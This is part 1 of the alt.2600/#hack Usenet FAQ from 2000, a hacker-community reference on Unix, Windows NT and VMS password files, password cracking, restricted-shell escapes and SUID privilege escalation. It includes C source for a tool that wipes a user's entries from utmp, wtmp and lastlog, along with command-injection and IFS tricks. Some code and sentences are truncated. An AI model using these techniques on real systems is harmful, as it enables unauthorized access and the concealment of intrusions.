Search the FAQ Archives

3 - A - B - C - D - E - F - G - H - I - J - K - L - M
N - O - P - Q - R - S - T - U - V - W - X - Y - Z - Internet FAQ Archives

alt.2600 FAQ Revision .014 (1/4)

( Part1 - Part2 - Part3 - Part4 )
[ Usenet FAQs | Web FAQs | Documents | RFC Index | Cities ]
Archive-Name: alt-2600/faq/part1
Posting-Frequency: Random
Last-Modified: 2000/05/29
Version: .014

See reader questions & answers on this topic! - Help others by sharing your knowledge
[Note: I just post this stuff. I didn't write it. Please DO NOT reply to
this post quoting its entirety! Downloading costs many people real
money. H.]
[Further: There are other regularly posted files which you might care to
read. Namely: "The alt.2600 Survival Guide" (for new posters), "How To
Hack - Info for Newbies" and Visigoth's "Newbies: Links to Hacking (and
other) Information .." (both of which contain information that may also
be valuable to more experienced people), "Read this for CRACKS, WARES &
XXX PASSWORDS" expands on the information regarding cracks and software
in VisiGoth's text. "Free News Servers" and VisiGoth's "HowTo: Makeshift
Linux Network @ Home .." also contain information that may be of
interest. I attempt to post all of these texts about twice per week.

IMPORTANT NOTE: The "Survival Guide" is a supplement to this FAQ and
should be considered to be part of it. Violations of the etiquette
outlined therein are severely frowned upon by the alt.2600 regulars.

        Welcome to Version .014 of the alt.2600/#hack FAQ!

        The purpose of this FAQ is to give you a general introduction
        to the topics covered in alt.2600 and #hack.  No document will
        make you a hacker.

        If you have a question regarding any of the topics covered in
        the FAQ, please direct it to alt.2600.  Please do not e-mail
        your questions; I do not have time to respond to each request

        If your copy of the alt.2600/#hack FAQ does not end with the
        letters EOT on a line by themselves, you do not have the

        If you do not have the entire FAQ, retrieve it from one of
        these sites:

        Get it on FTP at:            /pub/usenet-by-group/alt.2600         /pub/rtfm/usenet-by-group/alt.2600/

        Get it on the World Wide Web at:



                        alt.2600/#Hack F.A.Q.

                          Revision .014

                   A TNO Communications Production


                          Greets go out to:

        TNO, L.O.D., The Guild, r00t, L0pht Heavy Industries, TACD,

        Cavalier, Disorder, Major, ThePublic, A-Flat, Aleph1, Alhambra,
        Bogus Technician, Frosty, Glen Roberts, Harlequin, Hobbit, Kgee,
        Lizzie Borden, Loq, Mad Poo Bandit, Marauder, Mudge, Mustard,
        Outsider, Pill, Plexor, Presence, Rage, Rogue Agent, Route,
        Simple Nomad, Theora, Tomes, Vidiot, Wozz and all of the other
        happy zanies out there on the 'net.

           When I picture a perfect reader, I always picture a
           monster of courage and curiosity, also something
           supple, cunning, cautious, a born adventurer and

                     -- Friedrich Nietzsche


Section A: Computers

U A-01. How do I access the password file under Unix?
U A-02. How do I crack Unix passwords?
  A-03. What is password shadowing?
U A-04. Where can I find the password file if it's shadowed?
  A-05. What is NIS/yp?
U A-06. What are those weird characters after the comma in my passwd file?
N A-07. How do I access the password file under Windows NT?
N A-08. How do I crack Windows NT passwords?
U A-09. How do I access the password file under VMS?
  A-10. How do I crack VMS passwords?
  A-11. What can be logged on a VMS system?
  A-12. What privileges are available on a VMS system?
U A-13. How do I break out of a restrictive shell?
  A-14. How do I gain root from a suid script or program?
  A-15. How do I erase my presence from the system logs?
  A-16. How do I change to directories with strange characters in them?
  A-17. What is this system?
U A-18. What are the default accounts for XXX ?
  A-19. What is a trojan/worm/virus/logic bomb?
  A-20. How can I protect myself from viruses and such?
  A-21. Where can I get more information about viruses?
  A-22. What is Cryptoxxxxxxx?
  A-23. What is PGP?
  A-24. What is Tempest?
U A-25. How do I defeat copy protection?
N A-26. What are some available debuggers and disassemblers?
U A-27. How do I defeat a BIOS password?
  A-28. What is the password for <encrypted file>?
U A-29. Is there any hope of a decompiler that would convert an
                        executable program into C/C++ code?
  A-30. How does the MS-Windows password encryption work?

Section B: Data Networks

U B-01. How do I send fakemail?
  B-02. How do I fake posts and control messages to Usenet?
  B-03. How do I hack ChanOp on IRC?
  B-04. How do I modify the IRC client to hide my real username?
U B-05. What is sniffing?
  B-06. What is an Internet Outdial?
U B-07. What are some Internet Outdials?
  B-08. What port is XXX on?
  B-09. What is an anonymous remailer?
U B-10. What are the addresses of some anonymous remailers?
  B-11. What is
  B-12. How do I post to a moderated newsgroup?
  B-13. How do I post to Usenet via e-mail?
N B-14. What is a firewall?
N B-15. How do I attack a remote network across the Internet?
N B-16. What is a TCP sequence prediction attack?

Section C: Telephony

U C-01. What is a Red Box?
U C-02. How do I build a Red Box?
  C-03. Where can I get a 6.5536Mhz crystal?
  C-04. Which payphones will a Red Box work on?
U C-05. How do I make local calls with a Red Box?
  C-06. What is a Blue Box?
  C-07. Do Blue Boxes still work?
  C-08. What is a Black Box?
  C-09. What do all the colored boxes do?
U C-10. What is an ANAC number?
U C-11. What is the ANAC number for my area?
U C-12. What is a ringback number?
U C-13. What is the ringback number for my area?
  C-14. What is a loop?
U C-15. What is a loop in my area?
U C-16. What is a CNA number?
U C-17. What is the telephone company CNA number for my area?
U C-18. What are some numbers that always ring busy?
U C-19. What are some numbers that temporarily disconnect phone service?
  C-20. What is a Proctor Test Set?
  C-21. What is a Proctor Test Set in my area?
U C-22. What is scanning?
  C-23. Is scanning illegal?
N C-24. How can I make a lineman's handset?
  C-25. Where can I purchase a lineman's handset?
U C-26. What are the DTMF frequencies?
U C-27. What are the frequencies of the telephone tones?
N C-28. What is the voltage used to ring a telephone?
U C-29. What are all of the * (LASS) codes?
  C-30. What frequencies do cordless phones operate on?
  C-31. What is Caller-ID?
  C-32. How do I block Caller-ID?
N C-33. How do I defeat Caller-ID blocking?
U C-34. What is a PBX?
  C-35. What is a VMB?
  C-36. What are the ABCD tones for?
  C-37. What are the International Direct Numbers?
N C-38. What are some telephone switches?

Section D: Cellular Telephony

  D-01. What is a MTSO?
  D-02. What is a NAM?
  D-03. What is an ESN?
  D-04. What is a MIN?
  D-05. What is a SCN?
U D-06. What is a SIDH?
  D-07. What are the forward/reverse channels?

Section E: Resources

U E-01. What are some ftp sites of interest to hackers?
  E-02. What are some fsp sites of interest to hackers?
U E-03. What are some newsgroups of interest to hackers?
  E-04. What are some telnet sites of interest to hackers?
  E-05. What are some gopher sites of interest to hackers?
U E-06. What are some World wide Web (WWW) sites of interest to hackers?
  E-07. What are some IRC channels of interest to hackers?
  E-08. What are some BBS's of interest to hackers?
U E-09. What are some books of interest to hackers?
U E-10. What are some videos of interest to hackers?
U E-11. What are some mailing lists of interest to hackers?
  E-12. What are some print magazines of interest to hackers?
  E-13. What are some e-zines of interest to hackers?
  E-14. What are some organizations of interest to hackers?
  E-15. What are some radio programs of interest to hackers?
U E-16. What are other FAQ's of interest to hackers?
N E-17. What are some conferences of interest to hackers?
N E-18. What are some telephone numbers of interest to hackers?
U E-19. Where can I purchase a magnetic stripe reader/writer?
U E-20. What are the rainbow books and how can I get them?

Section F: 2600

  F-01. What is alt.2600?
[ F-01a. Where is the alt.2600 Web site? H.]
  F-02. What does "2600" mean?
  F-03. Are there on-line versions of 2600 available?
  F-04. I can't find 2600 at any bookstores.  What can I do?
U F-05. Why does 2600 cost more to subscribe to than to buy at a

Section G: Miscellaneous

  G-01. What does XXX stand for?
U G-02. How do I determine if I have a valid credit card number?
U G-03. What is the layout of data on magnetic stripe cards?
N G-04. What is pirate radio?
  G-05. What are the ethics of hacking?
N G-06. Why did you write this FAQ?
  G-07. Where can I get a copy of the alt.2600/#hack FAQ?

U == Updated since the last release of the alt.2600/#hack FAQ
N == New since the last release of the alt.2600/#hack FAQ

=-=-=-=-=-=-=-=-=-=-=-=  Section A -- Computers  =-=-=-=-=-=-=-=-=-=-=-=-=

A-01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd.  On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere.  An entry in the password file consists of seven colon
delimited fields:

Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory

] Sample entry from /etc/passwd:
] voyager:5fg63fhD3d5gh:9406:12:The Voyager:/home/voyager:/bin/bash

Broken down, this passwd file line shows:

          Username: voyager
Encrypted password: 5fg63fhD3d5gh
       User number: 9406
      Group Number: 12
 GECOS Information: The Voyager
    Home directory: /home/voyager
             Shell: /bin/bash


A-02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
passwords are encrypted with a one way function.  The login program
accepts the text you enter at the "Password:" prompt and then runs it
through a cryptographic algorithm.  The results of that algorithm are
then compared against the encrypted form of your password stored in the
passwd file.

On a more technical level, the password that you enter is used as a key
to encrypt a 64-bit block of NULLs.  The first seven bits of each
character are extracted to form a 56-bit key.  This means that only
eight characters are significant in a standard Unix password.  The E-
table is then modified using the salt, which is a 12-bit value, coerced
into the first two chars of the stored passwd.  The salt's purpose is to
make precompiled passwordd lists and DES hardware chips more time
consuming to use.  DES is then invoked for 25 iterations. The 64-bit
output block and is then coerced into a 64-character alphabet (A-Z,a-
z,".","/").  This involves translations in which several different
values are represented by the same character, which is why Unix
passwords cannot be decrypted.

[Note from Dan Mellem: Under A-02, the FAQ lists the "64-character
alphabet" as "(A-Z,a-z,'.','/')"; the password also uses 0-9 (actual
order is "./0-9A-Za-z", I believe). H.]

Password cracking software uses wordlists.  Each word in the wordlist is
encrypted using the algorithm described above and the salts from the
password file.  The results are then compared to the encrypted form of
the target password.

The best cracking program for Unix passwords is currently Crack by Alec
Muffett.  For PC-DOS, the best package to use is currently CrackerJack.
For the Macintosh, try Killer Cracker or Mac Krack.


A-03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the encrypted
password is stored in a separate file which is not readable by normal
system users.

On older systems, password shadowing was often defeated by using a
program that made successive calls to getpwent() to obtain the entire
password file.


#include <pwd.h>
struct passwd *p;
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);


A-04. Where can I find the password file if it's shadowed?

Unix                     Path                            Token
AIX 3 and AIX 4          /etc/security/passwd            !
       or                /tcb/auth/files/<first letter   #
                               of username>/<username>
A/UX 3.0s                /tcb/files/auth/?/*
BSD4.3-Reno              /etc/master.passwd              *
ConvexOS 10              /etc/shadpw                     *
ConvexOS 11              /etc/shadow                     *
DG/UX                    /etc/tcb/aa/user/               *
EP/IX                    /etc/shadow                     x
HP-UX                    /.secure/etc/passwd             *
IRIX 5                   /etc/shadow                     x
Linux 1.1                /etc/shadow                     *
OSF/1                    /etc/passwd[.dir|.pag]          *
SCO Unix 3.2.x           /tcb/auth/files/<first letter   *
                               of username>/<username>
SunOS4.1+c2              /etc/security/passwd.adjunct    ##username
SunOS 5.0 / Solaris 2.x  /etc/shadow
                        <optional NIS+ private secure maps>
System V Release 4.0     /etc/shadow                     x
System V Release 4.2     /etc/security/* database
Ultrix 4                 /etc/auth[.dir|.pag]            *
UNICOS                   /etc/udb                        *

[Note from jaxom: Digital UNIX v4.0x (was OSF/1, now called Tru64 UNIX)
can run in C2 (ENHANCED) security mode. When this occurs, the shadow
password file is in:
        /tcb/auth/files/<files letter of username>/<username>
These files contain an encrypted for of the password, normally using the
bigcrypt() algorithm. If you want to crack these, then its probably
easier to write a program looping over getprpwent() and extracting the
password (prpwd->ufld.fd_encrypt), the crypt algorithm (prpwd->
ufld.fd_oldcrypt) and then use that algorithm to generate the
appropriate passwords. Check a discussion on BUGTRAQ many, many moons
ago about the appropriateness of this hashing algorithm and the
potential weakness this has. H.]


A-05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).  The purpose of NIS is to allow many
machines on a network to share configuration information, including
password data.  NIS is not designed to promote system security.  If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:


To view the real password file use this command "ypcat passwd"


A-06. What are those weird characters after the comma in my passwd

The characters are password aging data.  Password aging forces the
user to change passwords after a system administrator-specified period
of time.  Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

] Sample entry from /etc/passwd with password aging installed:
] voyager:5fg63fhD3d,M.z8:9406:12:The Voyager:/home/voyager:/bin/bash

Note the comma in the encrypted password field.  The characters after
the comma are used by the password aging mechanism.

] Password aging characters from above example:
] M.z8

The four characters are interpreted as follows:

  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in.  The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password.  Only root can
change that users password.

It should also be noted that the su command does not check the
aging data.  An account with an expired password can be su'd to
without being forced to change the password.

                        Password Aging Codes
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| Character:  w  x  y  z
|    Number: 60 61 62 63


A-07. How do I access the password file under Windows NT?

Windows NT stores encrypted password hashes in the Registry.  RDISK
stores a compressed backup copy of the the password hashes is stored in

If you can access the Registry you can use PWDump by Jeremy Allison to
view this data.  The PWDump utility is freely available at

PWDump output consists of seven colon delimited fields:

    User number
    Encrypted password
    LAN Man Password Hash
    Windows NT Password Hash
    Full Name and Description
    Home directory

] Sample passwd entry: (Split into two lines for readability)
] voyager:1000:30FA7B24C6108C5A8B4BCCA42D5816FF:
] B3823C82B43238D31BAF98FA4035255F:The Voyager, FAQ Author::

Broken down, this password entry shows:

                  Username: voyager
               User number: 1000
        Encrypted password: 5fg63fhD3d5gh
     LAN Man Password Hash: 30FA7B24C6108C5A8B4BCCA42D5816FF
  Windows NT Password Hash: B3823C82B43238D31BAF98FA4035255F
 Full Name and Description: The Voyager, FAQ Author
           Home directory :


A-08. How do I crack Windows NT passwords?

Windows NT passwords are encrypted with a one way function.  This is
similar to the way that Unix stores passwords, except that the Microsoft
algorithm is significantly weaker.

Windows NT password can be cracked using wordlists.  This is much the
same as attacking Unix passwords with word lists, except that Microsoft
passwords are much easier to crack.

In addition, Microsoft passwords can be brute forced.  This means that
every password on the system can be retrieved.

The best cracking program for Windows NT passwords is currently
L0phtCrack by Mudge and Weld Pond.  L0phtCrack is available at


A-09. How do I access the password file under VMS?

Under VMS, the password file is normally stored as
SYS$SYSTEM:SYSUAF.DAT.  However, unlike traditional Unixen, most users
do not have access to read the password file.

[Note from Dan Mellem: the system file is SYSUAF.DAT. Some
administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to
increase security through obscurity.  In this case, `DIR SYSAUF` or
`SHOW LOG SYSAUF` should point you to the new location of the file. H.]


A-10. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and

[Note from jaxom: These two can be looked at together. If you are
accessing the UAF through $GETUAI (NOT $GETUAF!), depending on what
privileges you hold determines what access you get:
        o To change ANY entry in the UAF, you need SYSPRV or BYPASS.
        o To modify entries in the UAF for those people in your group,
                you need GRPPRV.
        o If you do not have these privileges, no access is allowed.
To check an OpenVMS password, you need to extract the password and the
password salt from the UAF using $GETUAI and then create a hash based on
that salt using $HASH_PASSWORD. Compare that hash with the one from the
UAF to determine if the password is the same. There is a system
dictionary that can be used to get words instead of supplying your own.
This is stored in:
It's an indexed file, so you may have to read it in through RMS. H.]


A-11. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for
investigation.  To determine the status of the accounting on your system
use the command SHOW ACCOUNTING.  System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer
usage, etc.), while system auditing is done with the aim of logging
information for the purpose of security.  To enable accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT.  This also is used to close
the current log file and open a new one with a higher version

The following activities can be logged:

        BATCH                   Termination of a batch job
        DETACHED                Termination of a detached job
        IMAGE                   Image execution
        INTERACTIVE             Interactive job termination
        LOGIN_FAILURE           Login failures
        MESSAGE                 Users' messages
        NETWORK                 Network job termination
        PRINT                   Print Jobs
        PROCESS                 Any terminated process
        SUBPROCESS              Termination of a subprocess

To enable security auditing use:

        $ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges.  You can determine your security auditing configuration

The security auditor can be configured to log the following

        ACL                     Access Control List requested events
        AUTHORIZATION           Modification to the system user
                                authorization file
        BREAKIN                 Attempted Break-ins
        FILE_ACCESS             File or global section access
        INSTALL                 Occurrence of any INSTALL operations
        LOGFAILURE              Any login failures
        LOGIN                   A login attempt from various sources
        LOGOUT                  Logouts
        MOUNT                   Mount or dismount requests

[Note from jaxom: You also need to be aware of OpenVMS Auditing. This
can log every single thing that you do. If the systems manager has this
switched on, all objects that you touch will be logged by the system.


A-12. What privileges are available on a VMS system?

ACNT            Allows you to restrain accounting messages
ALLSPOOL        Allows you to allocate spooled devices
ALTPRI          Allot Priority.  This allows you to set any priority
BUGCHK          Allows you make bug check error log entries
BYPASS          Enables you to disregard protections
CMKRNL          Change to executive or kernel mode.  These privileges
                allow a process to execute optional routines with
                and EXECUTIVE access modes.  CMKRNL is the most
                privilege on VMS as anything protected can be accessed
                if you have this privilege.  You must have these
                privileges to gain access to the kernel data
DETACH          This privilege allow you to create detached processes of
                arbitrary UICs
[Note from jaxom: This privlege has been changed to IMPERSONATE as of
OpenVMS v7.0. H.]
DIAGNOSE        With this privilege you can diagnose devices
EXQUOTA         Allows you to exceed your disk quota
GROUP           This privilege grants you permission to  affect other
                processes in the same rank
GRPNAM          Allows you to insert group logical names into the group
                logical names table.
GRPPRV          Enables you to access system group objects through
                system protection field
LOG_IO          Allows you to issue logical input/output requests
MOUNT           May execute the mount function
NETMBX          Allows you to create network connections
OPER            Allows you to perform operator functions
PFNMAP          Allows you to map to specific physical pages
PHY_IO          Allows you to perform physical input output requests
PRMCEB          Can create permanent common event clusters
PRMGBL          Allows you to create permanent global sections
PRMMBX          Allows you to create permanent mailboxes
PSWAPM          Allows you to change a processes swap mode
READALL         Allows you read access to everything
SECURITY        Enables you to perform security-related functions
SETPRV          Enable all privileges
SHARE           Allows you to access devices allocated to other users.
                This is used to assign system mailboxes.
SHMEM           Enables you to modify objects in shared memory
SYSGBL          Allows you to create system wide permanent global
SYSLCK          Allows you to lock system wide resources
SYSNAM          Allows you to insert in system logical names in the
                names table.
SYSPRV          If a process holds this privilege then it is the same as
                a process holding the system user identification code.
TMPMBX          Allows you to create temporary mailboxes
VOLPRO          Enables you to override volume protection
WORLD           When this is set you can affect other processes in the

[Note from Dan Mellem: ALTPRI is Alter Priority
      SETPRV lets you set any privilege.
 The FAQ's missing:
AUDIT                may direct audit to system security audit log
DOWNGRADE            may downgrade object secrecy
IMPORT               may set classification for unlabeled object
UPGRADE              may upgrade object integrity
These are all found in the high-security versions of VMS.

[Note from jaxom: This is potentially confusing. Only DOWNGRADE, IMPORT
and UPGRADE are used on SEVMS (Security Enhanced OpenVMS -- rated B2).
AUDIT is a valid permission on "standard" OpenVMS that allows the holder
to audit events and append records to the system audit file. This has
two parts, the audit server database, and the audit log file. These can
both be found in SYS$COMMON:[SYSMGR]. The audit server database is
called SYS$COMMON:[SYSMGR]VMS$AUDIT_SERVER.DAT and the audit log file is

Also, these privs are set under sys$system:authorize (be sure to set def
to sys$system first).

[Note from jaxom: This is not necessary if the logical SYSUAF is
defined. To make sure it is defined correctly, check the value of
Notice that its defined in LNM$SYSTEM_TABLE. You will need SYSPRV to
change this value. If you want to change this definition, you will have
to type:
The /EXECUTIVE is important. This makes it into a trusted logical name
which is used by the OpenVMS operating system. If this isn't set as
/EXECUTIVE, then OpenVMS will NOT use the new definition.
If the logical name SYSUAF does not exist, then AUTHORIZE looks in the
current default directory for the file. If the file does not exist, it
then asks you whether or not you wish to create it. H.]

Under authorize you can also set /priv and /defpr to ALL for everything
or NONE for no privs. You can cancel any particular priv. by adding "no"
in front of the priv (e.g. $ authorize joeblow/defpriv=nobypass).

[Note from jaxom: There is a difference between /DEFPRIVILEGE and
/PRIVILEGE. If a users privileges are set /DEFPRIVILEGE, those are the
privileges that you have when you log in. The privileges defined through
/PRIVILEGE are those marked as "authorised" in the $ SHOW PROCESS
/PRIVILEGE display. Note that granting a privilege in "authorised" is
NOT the same as granting a "default" privilege. You will have to use $
SET PROCESS /PRIVILEGE=foo, or replace foo with ALL.

For more information on OpenVMS, look at the online OpenVMS
documentation set at:
The most important documents are the OpenVMS Users Guide, the OpenVMS
Guide to System Security and the Systems Managers manuals (there are
two). Read the User Guide to get the basic OpenVMS concepts and then go
onto the other two to find out how OpenVMS and VMSclusters work. Since
Digital (now Compaq) has started the OpenVMS Hobbyist program, you can
get a free copy of OpenVMS as long as you have a supported VAX or Alpha
CPU and you are a member of DECUS. Check out:
for more details.
To get a good sense of OpenVMS, check out the following:
        comp.os.vms                     OpenVMS newsgroup
        comp.sys.dec                    DEC (VAX and Alpha) hardware
        vmsnet.*                        Everything to do with OpenVMS
   Websites:  DEC's OpenVMS website     Arne Vajhoej's collection
                                        of OpenVMS resources.] H.]

To determine what privileges your process is running with issue the

$ show proc/priv


A-13. How do I break out of a restrictive shell?

A restrictive shell is a shell that has been modified to allow you to do
fewer things than a normal shell would allow you to do.  It may allow
you to run only certain programs.  It may stop you from changing
directories.  Many sites run their own restrictive shells to allow
limited use of their systems over the Internet.  Restrictive shells
often make use of the restricted shell (rsh).

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function.  A good example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:


Many menu based restricted shells will allow you to configure your user
environment, or to run programs that allow you to configure your user
environment.  Look for configuration options that refer to executable
programs.  If the program lets you define an editor, for example, try to
set your editor to "/bin/csh -i -f"

If you are not allowed to read files, try to open them inside the e-
mail program.

If you are not allowed to edit files, try to save that to file from the
e-mail program.

If your restricted shell prevents you from using the "cd" command, try
to FTP into your account and change directories.  FTP can aso be used to
edit files by getting the file, editing it offline, and utting the net
file back online.

Like most hacking, trying things is often the most successful strategy.


A-14. How do I gain root from a SUID script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.  IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:


and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell

2. link the script to -i

Create a symbolic link named "-i" to the program.  Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.  This only works on suid shell scripts.


% ln -i
% -i

3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.


nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.


suidprog ; id


A-15. How do I erase my presence from the system logs?

Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog
(usually /usr/adm/lastlog)  These are not text files that can be edited
by hand with vi, you must use a program specifically written for this


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));

void kill_wtmp(who)
char *who;
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;

void kill_lastlog(who)
char *who;
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));

    } else printf("%s: ?\n",who);

int argc;
char *argv[];
    if (argc==2) {
    } else


A-16. How do I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are.  One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

    -F   Causes directories to be marked with a trailing ``/'',
         executable files to be marked with a trailing ``*'', and
         symbolic links to be marked with a trailing ``@'' symbol.

    -q   Forces printing of non-graphic characters in filenames as the
         character ``?''.

    -b   Forces printing of non-graphic characters in the \ddd
         notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine.  Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.

From the man page for cat:

    -v  Causes non-printing characters (with the exception of tabs,
        newlines, and form feeds) to be displayed.  Control characters
        are displayed as ^X (<Ctrl>x), where X is the key pressed with
        the <Ctrl> key (for example, <Ctrl>m is displayed as ^M).  The
        <Del> character (octal 0177) is printed as ^?.  Non-ASCII
        characters (with the high bit set) are printed as M -x, where
        x is the character specified by the seven low order bits.

    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
        option is ignored if the -v option is not specified.

    -e  Causes a ``$'' character to be printed at the end of each line
        (prior to the new-line).  This option is ignored if the -v
        option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes.  Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad.  When you release the <ALT> key, the special
character should appear on your screen.  An ASCII chart can be very

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.

From the man page for stty:

    Control assignments

    control-character C
                      Sets control-character to C, where
                      control-character is erase, kill, intr
                      (interrupt), quit, eof, eol, swtch
                      (switch), start, stop or susp.

                      start and stop are available as possible control
                      characters for the control-character C

                      If C is preceded by a caret (^) (escaped from
                      shell), then the value used is the corresponding
                      control character (for example, ^D is a <Ctrl>d;
                      ^? is interpreted as DELETE and ^- is
                      as undefined).

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.


A-17. What is this system?

IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]


Once in, type GO MAIN

CDC Cyber

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.

You would normally just hit return at the family prompt.  Next prompt


CISCO Router
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866


DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1

(c) Copyright 1992, Digital Equipment Corporation - All Rights

Please type HELP if you need assistance

Enter username> TNO


Hewlett Packard MPE-XL







Lantronix Terminal Server
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
                            MMM       MMMERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern
Telecom, 1991

Novell ONLAN
<Control-A aka smiley face>N

[To access the systems it is best to own a copy of ONLAN/PC]

<Control-A aka smiley face>P

[To access the systems it is best to own a copy of PCAnywhere Remote]


<any text>



Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)

ROLM CBXII  RELEASE 9004.2.34 RB295 9000D IBMHO27568
12:38:47 ON WEDNESDAY 2/15/1995




MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47

ROLM PhoneMail
ROLM PhoneMail 9252 9254 Microcode Version 4.2
Copyright (C) ROLM Systems 1991
All Rights Reserved.

PM Login>
PM Password>

Login: root

Login: browse

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

NIH Timesharing
